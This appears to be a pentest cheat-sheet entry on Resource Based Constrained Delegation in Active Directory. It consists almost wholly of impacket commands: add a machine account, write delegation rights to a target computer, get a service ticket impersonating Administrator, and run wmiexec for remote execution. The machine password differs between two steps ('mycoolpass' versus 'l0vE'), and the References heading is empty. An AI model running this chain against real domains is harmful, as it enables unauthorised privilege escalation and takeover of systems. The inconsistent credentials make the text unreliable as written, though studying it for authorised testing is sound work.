Technique
Resource Based Constrained Delegation
impacket-rbcd '$domain.local/$user:$pass' -delegate-to 'TARGETPC$' -action read
impacket-addcomputer '$domain.local/$user:$pass' -computer-name 'NewPC$' -computer-pass 'mycoolpass'
impacket-rbcd '$domain.local/$user:$pass' -delegate-to 'TARGETPC$' -action read
impacket-rbcd '$domain.local/$user:$pass' -delegate-to 'TARGETPC$' -delegate-from 'NewPC$' -action write
impacket-getST '$domain.local/NewPC$:l0vE' -spn 'cifs/TARGETPC.$domain.local' -impersonate Administrator
impacket-wmiexec '@TARGETPC.$domain.local' -k -no-pass -debug -target-ip $ip
References